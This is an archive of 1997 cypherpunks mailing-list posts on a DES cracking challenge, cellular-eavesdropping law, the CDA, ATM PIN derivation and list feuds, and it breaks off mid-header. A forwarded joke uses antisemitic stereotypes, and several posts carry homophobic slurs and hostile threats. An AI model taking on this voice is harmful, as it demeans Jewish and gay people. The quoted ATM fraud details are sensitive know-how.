>paracite !
>please stop thea0594@eurobretagne.fr    from becoming repetitive !
>please stop thea0594@eurobretagne.fr    typing please stop
>thea0594@eurobretagne.fr !
please stop thea0594@eurobretagne.fr    sending unsubscribe messages to
>the whole list !
>please stop thea0594@eurobretagne.fr    filling my mail-box with crap !
please stop thea0594@eurobretagne.fr    from breathing !
please stop thea0594@eurobretagne.fr    sounding like a broken record !

I don't know what you want to be stopped from doing but any one of the
above might be a good place to start

Scott
>:-)
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 17 Jan 1997 12:07:38 -0800 (PST)
To: cryptography@c2.net
Subject: DES Key Recovery Project, Progress Report #6.
Message-ID: <199701172006.MAA20293@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


DES Key Recovery Project, Progress Report #6.

Well, RSA now has put up the official rules, and some
test data, for the DES Key Recovery Project. See
http://www.rsa.com/rsalabs/97challenge/ if you haven't
already. The actual challenge will be posted 28 Jan, and
the prize will be $10,000. 

I've had some nibbles of interest from the FPGA community,
but not too much yet. If you know anyone with FPGA or ASIC
hardware handy, tell them about the project, and point them
at Wiener's paper (it can be found at 
http://www.aist-nara.ac.jp/Security/doc/ among locations.

My software is complete, except for one thing: I have not
incorporated Svend Olaf Mikkelsen's new Pentium code
(see http://inet.uni-c.dk/~svolaf/des.htm). This is about
25% faster than mine, and well worth the extra effort. The
conversion turns out to be non-trivial; it uses a different
initial and final perm, the key schedules look different, and
the rounds seem to carry a lot of context from one round to the
next in the registers. All but the final problem is not too
important - the data are all different by simple permutations,
and the conversion is not too hard.

The final problem is more interesting, since I do the first
DES round only part of the time. This means that I'll have to
do more context setup for those times when I'm starting at 
the second round (most of the time), and preserve that extra
context after the times I *do* run the first round.

The other problem is that the 'half-matches' and penultimate
round half-matches will be different for the two systems. This
complicates results checking.

Anyway, come Monday, I want to email to a few people the 
generic 'C' code, along with my assembler version. If you're
interested in doing a serious critique and/or porting of the 
code, and are a US/Canadian citizen living in the US/Canada, 
then email me with a statement to that effect. I'm only sending
out a few copies - this is a slow beta, after all.

If I don't get the Mikkelsen code in there by Monday, it 
should follow soon thereafter.

After the DES Challenge is underway, I may try looking at
the RC5 Challenges.

Who else will be attending Verisign Partner Days or the 
RSA Data Security Conference at the end of the month? I'd
like to meet some of the other participants on this list.

Peter Trei
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 17 Jan 1997 13:50:55 -0800 (PST)
To: roach_s@alph.swosu.edu (Sean Roach)
Subject: Re: Newt's phone calls
In-Reply-To: <199701171921.LAA18808@toad.com>
Message-ID: <199701172144.PAA02593@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Sean Roach wrote:
> I had to tell my sister not to use the cordless phone to use the automated
> banking services that our bank has available on grounds that transfers are
> also available through the same service.

It is my understanding that an ordinary banking consumer that
uses "pay bills by phone" service cannot transfer $$ to any arbitrary
account. There is a limited list of permitted accounts, such as utility 
companies. Therefore, the risk of unauthorized transfer is very
limited.

I would not be worried about this issue at all. The world at large is
insecure in very many respects: it is easy to find out credit card
numbers, overhear conversations, install hidden microphones, hack
into computers, etc etc. It does not mean that we should stop all 
activity simply because there is "some" risk of losses.

> Our father is a math teacher, computer hobbyists since 1979.  Both of my
> parents have college educations.  My sister pegged the scales on the state
> distributed proficiency tests.  Yet she knows practically nothing outside of
> her field.  I will probably have to show her the values of cryptography
> before she actually has any patient records to deal with, (she's a pharmacy
> major.)

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ca3sal@isis.sunderland.ac.uk (Stephen.George.Allport)
Date: Fri, 17 Jan 1997 07:47:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <199701171546.PAA08870@cis515.cis.sund.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain


Greg Taylor wrote

>After following this thread for some time, I have to question whether
>Americans realise how far behind the rest of the world they are in
>cellphone technology.

With the attention the US media give of the UK's royal family and the fomer
Princess of Wales I'm suprised the nobody did anything in the US after the
"squigy tapes" a couple of years back.

Ste




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "T. O'Brien" <tobrien@comet.net>
Date: Fri, 17 Jan 1997 12:58:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <32DF143F.37B2@comet.net>
MIME-Version: 1.0
Content-Type: text/plain


 Unsubcribe




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 17 Jan 1997 13:02:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: (U.S.) National Cryptography Policy (paper and report)
Message-ID: <v0300781caf059945bb9c@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date:         Fri, 17 Jan 1997 14:09:24 CST
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Lyonette Louis-Jacques <llou@MIDWAY.UCHICAGO.EDU>
Subject:      (U.S.) National Cryptography Policy (paper and report)
Comments: To: net-lawyers@eva.dc.LSOFT.COM
To:           CYBERIA-L@LISTSERV.AOL.COM

I'm forwarding this post to the CYBERIA-L and NET-LAWYERS lists as I
think subscribers might be interested in these documents (include
discussion of export controls), and their implication for
international communications.  Cheers, Lyo (Lyonette Louis-Jacques at
llou@midway.uchicago.edu):

Cryptography and the National Resource Council: The Role of Private Groups
in Public Policy, by Kenneth W. Dam, is now available on the Web.

http://www.law.uchicago.edu/Publications/Occasional/

The Role of Private Groups in Public Policy is adapted from a
presentation made to the Presidents' Circle of the National Academy of
Sciences and the Institute of Medicine, Washington, D.C., November 21,
1996.  It was recently issued as Occasional Paper No. 38 by the University
of Chicago Law School.

Kenneth W. Dam, Max Pam Professor of American and Foreign Law, University
of Chicago Law School, was the Chair of the National Research Council's
Committee to Study National Cryptography Policy.  The Committee unanimously
recommended eliminating restrictions on domestic use of encryption, and
progressively relaxing restrictions on export.  The government's concerns
that national security and law enforcement agencies would be unable to
eavesdrop on criminals and terrorists must be balanced against the dangers
that American firms would be unable to lawfully use encryption strong enough
to protect electronic commerce, and that American software developers,
forced to use key escrow/key recovery encryption in their products ("a
Maginot Line of defense against hackers") would find no market for their
products.

A late draft of the Committee's Report, "Cryptography's Role in Securing
the Information Society," is available at their home page:

http://www2.nas.edu/cstbweb/2646.html

-----------
                                              Paradise is exactly like
                +                             where you are right now
      .&______~*@*~______&.       m           only much, much, better
    "w/%%%%%%%%%%%%%%%%%%%\w"    mmm***       ------------------------
      `Y""Y""Y"""""Y""Y""Y'      mm*****      Language -- it's a shipwreck,
   p-p_|__|__|_____|__|__|_q-q   mm**Y**      it's a job - Laurie Anderson
_-[EEEEM==M==MM===MM==M==MEEEE]-_.|..|....    (two .sigs sighted on the Net)

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 17 Jan 1997 13:16:50 -0800 (PST)
To: technomads@ucsd.edu
Subject: Albuquerque, Anyone?: Hettinga goes on the road...
Message-ID: <v0300781eaf059ad5005a@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


I'm going to be in Albuquerque seeing family for a week starting tomorrow.

Any cypherpunks/e$/technomads folks out there wanna quaff a few, I'd be up
for it.

Also, I'm looking a temporary PPP dial-up in the Albuquerque for the week
I'm there.  No mail or news, just PPP, so I can hit my POPserver and run
e$pam in remote-mode. Neither rain, nor snow, nor altitude, etc. can keep
the e$pamster from his appointed rounds...

Thanks!

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rodrigo Espirito Santo <res@unidyne.uni.pt>
Date: Fri, 17 Jan 1997 07:31:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Get me off this fucking list, or else.... (fwd)
Message-ID: <Pine.LNX.3.91.970117163041.5307B-100000@unidyne.uni.pt>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 17 Jan 1997 16:30:25 +0000 (GMT)
From: Rodrigo Espirito Santo <res@unidyne.uni.pt>
To: cypherpunks@toad.com
Cc: cypherpunks@toad.com
Subject: Get me off this fucking list, or else....

Hey you dumb asses, i tried to unsubscribe this list in the correct way 
but you guys don't know SHIT about this!!!!1
If you don't get me out now i'll subscribe each and every one of you to 
some goddamn gay and lesbiann and freak mailing list!!!!!!
get me out!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Fri, 17 Jan 1997 16:35:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Revokation Scheme
In-Reply-To: <3.0.1.32.19970117120914.00639400@popd.ix.netcom.com>
Message-ID: <32E01A37.702D@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
[...]
>Key revocation certificates don't leak your private keys,
>so the only risk if the Bad Guys get a copy is denial of service,
>including the pain of rebuilding all your connections, etc.;

I concur. Depending on your application (it always depends on your
application), it's probably better to risk a spurious revocation than
an interception.

You needn't completely lose your connection to the web of trust,
either. I've already generated a "next" key signed by my current key,
just in case. No, the path server won't follow revoked keys, but
someone not yet in possession of the revocation certificate is
somewhat more likely to accept a message from someone with a key signed
by your old key and in possession of the revocation certificate.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BJORN2LUZE@prodigy.com (NATHAN MALLAMACE)
Date: Fri, 17 Jan 1997 22:02:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Jewish English: Hebonics
Message-ID: <199701172152.QAA21520@mime4.prodigy.com>
MIME-Version: 1.0
Content-Type: text/plain


-------

http://pages.prodigy.com/VT/  look for the most updated link there...


-------

If you have already read this, I suggest you PRINT IT this time and 
delete it. If you HAVEN'T READ IT YET. Make a copy and post it on 
some other mailing list. Read on... Wyane.

-

>>Jewish English or "Hebonics"
>>
>>The Encino School Board has declared Jewish English a second 
language.
>>Backers of the move say the district is the first in the nation to
>>recognize Hebonics as the language of many of American Jews.  Here 
are
>>some descriptions of the characteristics of the language, and 
samples
>>of phrases in standard English and Jewish English.
>>
>>Samples of Pronunciation Characteristics
>>
>>Jewish English or "Hebonics" hardens consonants at the ends of 
words.
>>
>>Thus, "hand" becomes "handt."
>>
>>The letter "W" is always pronounced as if it were a "V".  Thus
>>"walking" becomes "valking"
>>
>>"R" sounds are transformed to a guttural utterance that is 
virtually
>>impossible to spell in English.  It is "ghraining", "algheady"
>>
>>
>>Samples of Idiomatic Characteristics:
>>
>>Questions are always answered with questions:
>>   Question: "How do you feel?"
>>   Hebonics response: "How should I feel?"
>>
>>The subject is often placed at the end of a sentence after a 
pronoun
>>has been used at the beginning:  "She dances beautifully, that girl.
"
>>
>>The sarcastic repetition of words by adding "sh" to the front is 
used
>>for emphasis.
>>
>>  mountains becomes "shmountains"
>>  turtle becomes "shmurtle"
>>
>>
>>Sample Usage Comparisons:
>>
>> Standard English Phrase             Hebonics Phrase
>>
>> "He walks slow"        -      "Like a fly in the ointment he 
walks"
>>
>> "You're sexy"          -      (unknown concept)
>>
>>"Sorry, I do not know   -      "What do I look like, a clock?"
>> the time"
>>
>> "I hope things turn    -      "You should BE so lucky"
>> out for the best"
>>
>>"Anything can happen"    -     "It is never so bad, it can't get 
worse"


Interesting?
Sorry, I wasn't the one who wrote this.. It's just interesting to me.

Nathan




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 17 Jan 1997 16:56:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Forgery detection
Message-ID: <199701180056.QAA20554@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. May's reheated, refurbished, and regurgitated 
cud is completely inappropriate for the mailing lists 
into which it is cross-ruminated.

           |||~
          (0 0)
      _ooO_(_)_Ooo__ Timmy C. May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Fri, 17 Jan 1997 17:01:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <199701172144.PAA02593@manifold.algebra.com>
Message-ID: <32E02050.735D@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> I would not be worried about this issue at all. The world at large is
> insecure in very many respects: it is easy to find out credit card
> numbers, overhear conversations, install hidden microphones, hack
> into computers, etc etc. It does not mean that we should stop all
> activity simply because there is "some" risk of losses.

I agree. Security in terms of theft really doesn't concern me most of
the time. If someone steals your credit card or bank number, chances are
you'll get everything back without too much trouble (exceptional
"identity theft" cases notwithstanding). My life is structured such that
even if someone stole my car and burned down my house, I'd hardly mind.
I've got friends to stay with, I can bike to work, and I've got enough
insurance. Money is just money; I've got an average amount, which is
more than I need.

What does concern me is personal privacy. I don't want people tracking
my movements or purchasing patterns, so I prefer to use cash or
pseudonymous debit cards.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff_Woodruff@holderness.org (Jeff Woodruff)
Date: Fri, 17 Jan 1997 11:29:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: reply
In-Reply-To: <199701162230.RAA04447@Alpha.remcan.ca>
Message-ID: <61406.3700372@holderness.org>
MIME-Version: 1.0
Content-Type: text/plain



This message sent using the FirstClass SMTP/NNTP Gateway for Mac OS.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sarah L. Green" <greens@hiwaay.net>
Date: Fri, 17 Jan 1997 15:56:34 -0800 (PST)
To: Chip Mefford <chip@avwashington.com>
Subject: Telecomm Act Reference (Was Re: Newt's phone calls)
In-Reply-To: <v03007817af056d50d0fd@[207.79.65.35]>
Message-ID: <Pine.LNX.3.91.970117171321.23498A-100000@osprey.sga.com>
MIME-Version: 1.0
Content-Type: text/plain


>From Damien Thorn's 'A CELLULAR COMMUNICATIONS PRIMER'
(at http://www.l0pht.com/~drwho/cell/texts/thorn1192.txt)

To calm fears that cellular calls were not private, the cellular
industry lobbied congress into passing legislation known today as the
Electronic Communication Privacy Act (ECPA) of 1986 which makes it a crime
to monitor cellular phone calls and a host of other transmissions like
digital pagers.  This law is used by cellular equipment dealers and 
service providers to reassure customers that their conversations will 
remain private.


Sarah.
==============================================================================
Sarah L. Green          Hey, I never claimed to be                >>osprey<<
Madison, AL  (USA)        a genius  nor a typist           greens@hiwaay.net 
==============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 17 Jan 1997 18:08:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Enough is Never Enough -- pro-CDA alliances, from TNNN
Message-ID: <Pine.GSO.3.95.970117180517.13719E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 17 Jan 1997 18:04:35 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Enough is Never Enough -- pro-CDA alliances, from TNNN

[Attached are two excerpts from the article. For the rest, check out:
http://cgi.pathfinder.com/netly/textonly/1,1035,549,00.html --Declan]

********

The Netly News Network
http://netlynews.com/

Enough Is Never Enough
By Declan McCullagh (declan@well.com)
January 17, 1997

       A broad coalition of conservative and anti-pornography groups and
   individuals will file legal briefs next Tuesday in the Supreme Court
   supporting the government's defense of the Communications Decency Act,
   The Netly News has learned.
   
       The alliance includes longtime supporters of the act, such as
   Enough is Enough, Focus on the Family, and the National Association of
   Evangelicals. Members of Congress will join a separate brief that the
   National Law Center for Children and Families is preparing.
   
       But a letter from the attorney representing the coalition asked
   the ACLU for permission to file a brief "on behalf of" 59 plaintiffs,
   including such unlikely participants as the National Association for
   the Advancement of Colored People, PBS, SafeSurf... and Netscape.
   
       Netscape? The company that lobbied against the CDA? A firm with a
   reputation of putting their balls on the chopping block when fighting
   for Net-issues on Capitol Hill? Netscape was as shocked as I was to
   learn about their participation. "It wasn't authorized by me or my
   office. This is flabbergasting," Peter Harter, public policy counsel
   for Netscape, said. "I'd be crucified if this happened."

[...]
   
       In their brief, which argues sociological rather than legal
   points, the groups hope to highlight the "dangers" of pornography
   online. They plan to supply the court with "legislative facts" to
   support the position Congress took when crafting the bill. The
   document also will include statistics discussing the effects of the
   Internet on children and the availability of material covered by the
   law. (Marty Rimm, where are you now?)
   
       Donna Rice-Hughes from Enough is Enough says: "It discusses three
   primary areas of our concern: letting the court know the problems on
   the Internet. Adult pornography, indecency, and child porn as well. A
   section on the harms of pornography. And a section dealing with the
   compliance issues: Is it feasible technically to comply with the CDA?"

[...]
   
       Chris Stamper and Noah Robischon contributed to this report.
   






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 17 Jan 1997 20:02:47 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <DucP1D6w165w@bwalk.dm.com>
Message-ID: <32E04544.7491@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> snow <snow@smoke.suba.com> writes:
> > > I say we make people fly naked and ship their stuff via UPS ;).

> >     >>shudder<<
> >     No!. A clear case of the cure being worse than the disease...

> Why. it might be fun - those long flight can be so boring with clothes on...

This one I really don't understand.  Cypherpunks lobbied heavily for
the Final Solution to Spamming and flaming, now along comes the perfect
solution to the airport security problem, and nobody's gonna go for it.

Guess those old, out-of-shape guys don't want anybody laughing at them.
Besides, they can put all the clothes in the same plane's baggage
compartment.  And planes have those little blankets and pillows,
so what's the problem?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 17 Jan 1997 20:02:50 -0800 (PST)
To: "Sarah L. Green" <greens@hiwaay.net>
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.LNX.3.91.970117061357.21132C-100000@osprey.sga.com>
Message-ID: <32E04936.58DE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sarah L. Green wrote:
> On Thu, 16 Jan 1997, Phillip M. Hallam-Baker wrote:
> > It was a conference call but over a cellular phone. Martin had hacked
> > his Radio Shack Scanner using a well known technique. He had a radio
> > ham license.

> Actually I'd love to see this go to court & have the law itself
> tossed out.  How many years have the airwaves been free?  Now it is
> illegal to listen on the cellular frequencies.

They're not gonna toss the law out, since the law doesn't really deal
with thought crimes, i.e., hearing something you're not supposed to
hear. The law allows them to prosecute people who deliberately monitor
to collect information which can be used against the people being
monitored, or to take advantage of them (steal trade secrets, etc.).

There's a presumption that the person about to be prosecuted has a
collection of information somewhere (on paper, on disk....) that they
otherwise could not possibly have gotten legally.

I've listened to judges describe something similar, in person - the
use of mailing lists by former employees, usually salespeople, where
the names/addresses and other info on the list might be proprietary.

Lawyers for scumbags love to sue over this one, since it's harder for
a judge to declare bad faith or a frivolous suit against the plaintiff
when the issue is unfair competition instigated by "theft" of a mailing
list.  The rule comes down to whether the info is generally available
legally, or whether it absolutely had to have been gotten illegally.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 17 Jan 1997 20:02:55 -0800 (PST)
To: "Sarah L. Green" <greens@hiwaay.net>
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.LNX.3.91.970117062037.21132D-100000@osprey.sga.com>
Message-ID: <32E04A68.3CE1@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sarah L. Green wrote:
> On Wed, 15 Jan 1997, Bill Frantz wrote:
> > At 7:07 PM -0800 1/14/97, Eric Murray wrote:
> > The 1935 communication act made it illegal to pass on what you had heard
> > when listening to certain radio services.  Listening was OK.  Telling
> > others wasn't.

>         A more recent act made it illegal to monitor celular frequencies,
>         and to make equipement that receives or could easily be
>         modified to receive cellular frequencies.

Scanner manufacturers have been getting around a lot of this by putting
ever more of the scanner's intelligence on EEPROM or flash chips, and
providing a computer interface to the scanner.

Software to do the rest can be gotten thru the web, or thru addresses
in 2600 or 411 magazine. I'm getting anxious to get a new scanner that
can follow the cellular hopping, ditto for police using the new trunked
systems that also hop frequencies, ditto for decoding digital, and for
decoding other common scrambling like the crap that Motorola puts out.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 17 Jan 1997 17:30:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701171832.MAA00342@smoke.suba.com>
Message-ID: <DucP1D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> > I say we make people fly naked and ship their stuff via UPS ;).
>
>     >>shudder<<
>
>     No!. A clear case of the cure being worse than the disease...

Why. it might be fun - those long flight can be so boring with clothes on...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 17 Jan 1997 17:30:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Kill filing
In-Reply-To: <Pine.LNX.3.95.970117082837.5142H-100000@dhp.com>
Message-ID: <J9cP1D10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> Stop acting so stupid, Michael.
>
> On Thu, 16 Jan 1997, Dale Thorn wrote:
>
> > Michael Gurski wrote:
> > > On Thu, 16 Jan 1997, Robert Hettinga wrote:
> > > > At 1:05 pm -0500 1/16/97, Ed Falk wrote:
> >
> > > > And, in my case, Eudora displays each message in the status window as i
> > > > bringing something down from the POP server, and again as it filters.
> > > > So, Toto, you're not in "Cansas" any more. It's called a "Trash" folder
                                 ^^^^^^
Michael is so stupid, he can't spell "Kansas". That's why he's a "cypher punk".

> > > I used to have procmail shove messages from certain folks directly to
> > > /dev/null, but then wondered a few days ago if I were missing
> > > anything, so they ended up going to $MAILDIR/.in.garbage.  After
> > > looking in there today, I'm glad to say that it's back to /dev/null,
> > > with no regrets. Of course, with the new moderated list, there shouldn't
> > > be too much work for procmail, except for those folks who I personally
> > > feel aren't worth reading...
> >
> > Michael, please tell me and everyone else at cypherpunks just why it
> > is we should give a shit at all what your personal killfile habits
> > are, and whether we should give a shit about whether you think anyone
> > on this list is or isn't worth reading.
> >
> > You and a thousand other clowns seem to think this is cool to do,
> > but you're actually pointing back at yourself with this kind of crap.

The jerks who describe in detail whom they killfile (like Hettiga) always lie.
Control freaks are really obsessed with the people they claim to "plonk",
and read everything their "enemies" write with great interest.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 17 Jan 1997 20:18:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STATS] Cypherpunks-unedited subscriptions
In-Reply-To: <32D30EFB.5F8@gte.net>
Message-ID: <32E04EE4.514E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Total subscribers for:

Tue 14 Jan: 13
Wed 15 Jan: 15
Thu 16 Jan: 13
Fri 17 Jan: 14

Looks like one of two things:
Either nobody wants the unedited list, or, some of the "regular people"
subscribe to the edited list and "flames" list separately, to get both.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 17 Jan 1997 17:41:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: UNSUBSCRIBE
In-Reply-To: <199701172045.MAA12756@peregrine.eng.sun.com>
Message-ID: <uRDP1D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ed.falk@Eng.Sun.COM (Ed Falk) writes:

> Could someone help this luser?  Is he responding like this to every post
> on the list?
>
> ----- Begin Included Message -----
>
> >From spooke@ita.flashnet.it  Fri Jan 17 12:44:24 1997
> X-Sender: rm02129@ita.flashnet.it
> Mime-Version: 1.0
> Date: Fri, 17 Jan 1997 21:45:00 +0100
> To: ed.falk@Eng (Ed Falk)
> From: Spooke <spooke@ita.flashnet.it>
> Subject: UNSUBSCRIBE
>
> globalkos.org
> >>
> >> Hi, my name is Tod, and I really want to be a cool hacker, ...
> >
> >This has *got* to be a troll.  Nobody could be this clueless.
> >
> >
> >Well, actually, they could.
> >
> >
>
>
>
> ----- End Included Message -----
>

Is he clueless enough to qualify as "cypher punk" or does one have to
be verifiably homosexual as well?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Petro <petro@suba.com>
Date: Fri, 17 Jan 1997 19:21:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: cash machine PINheads (fwd)
In-Reply-To: <E3KH0p.55F@xcski.com>
Message-ID: <199701180321.VAA21345@suba01.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


------- start of forwarded message -------
Path: news.suba.com!feeder.chicago.cic.net!wolverine.hq.cic.net!news.neca.com!news.shkoo.com!news1.mpcs.com!hammer.uoregon.edu!arclight.uoregon.edu!news.bbnplanet.com!su-news-hub1.bbnplanet.com!csn!nntp-xfer-1.csn.net!news.hemi.com!news
From: Tkil <tkil@scrye.com>
Newsgroups: alt.sysadmin.recovery
Subject: cash machine PINheads
Date: 16 Jan 1997 11:27:04 -0700
Organization: Scrye.com
Lines: 59
Sender: tkil@creepy.scrye.com
Approved: yup.
Message-ID: <m3680xfpc7.fsf_-_@creepy.scrye.com>
References: <E3KH0p.55F@xcski.com> <5bh6ke$5rr@illuin.demon.co.uk> <5bhhd5$dfv$1@comet3.magicnet.net> <spberry.853431573@endeavor.ansci.iastate.edu>
NNTP-Posting-Host: ppp2.hemi.com
X-Attribution: Tkil
X-Newsreader: Red Gnus v0.80/Emacs 19.34


found in <URL: http://axion.physics.ubc.ca/atm.html>:

   A number of security systems were developed, of which two captured
   most of the market. These were the IBM system, launched in 1979;
   and the VISA system, which extended it and was introduced shortly
   afterwards. These systems relate the PIN to the account number in a
   secret way. The idea is to avoid having a file of PINs, which might
   be stolen or copied. and to make it possible to check PINs in the
   ATM itself so as to allow transactions when it is not online to the
   bank's central computer site. The definitive reference is Meyer and
   Matyas' huge book Cryptography: a new dimension in computer data
   security; there is a shorter account in Davies and Price Security
   for Computer Networks.
   
   PINs are calculated as follows. Take the last five significant
   digits of the account number, and prefix them by eleven digits of
   validation data. These are often the first eleven digits of the
   account number; they could also be a function of the card issue
   date. In any case, the resulting sixteen digit value is input to an
   encryption algorithm (which for IBM and VISA systems is DES, the US
   Data Encryption Standard algorithm), and encrypted using a sixteen
   digit key called the PIN key. The first four digits of the result
   are decimalised, and the result is called the `Natural PIN'.
   
   Many banks just issued the natural PIN to their customers. However,
   some of them decided that they wished to let their customers choose
   their own PINs, or to change a PIN if it became known to somebody
   else. There is therefore a four digit number, called the offset,
   which is added to the natural PIN to give the PIN which the cusomer
   must enter at the ATM keyboard.

and from <URL: http://catless.ncl.ac.uk/Risks/14.76.html>:

   *The Risks Digest Volume 14: Issue 76*

   [...] How is it possible to use an EXPIRED card to make $8000 in
   cash advances?
   
   It's possible because the ATM's verification center ONLY checks if
   the card number is on a list of STOLEN/LOST cards. If the card is
   not stolen/lost, the verification center then performs a
   verification check of the information FROM THE CARD ITSELF, not
   from some other database.
   
   So the perpetrators just wrote a new expiration date on the
   magnetic stripe of their fake card; the ATM verification center
   verified that the date hadn't yet passed and that was that.
   
my apologies for the useful info, but the "yes it is" "no it isn't"
bit was getting even more irritating.  both of these items have quite
a bit more text to them that makes for interesting reading -- i just
excerpted the bits that dealt with where the PIN was verified.

t.
-- 
Tkil <tkil@scrye.com> emacs evangelist, hopelessly hopeless romantic
  "Like brittle things that break before they bend"
	-- The Sisters Of Mercy, _Floodland_, "Driven Like The Snow" [1987]
------- end of forwarded message -------

-- 
***************** PLEASE TAKE NOTE:
In an effort to reduce the amount of junk mail that I receive, I am no longer
reading email sent to petro@suba.com. send email to login@encodex.com where
login = petro. You send unsoliciated commercial email, and I will kill you. 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 17 Jan 1997 20:58:04 -0800 (PST)
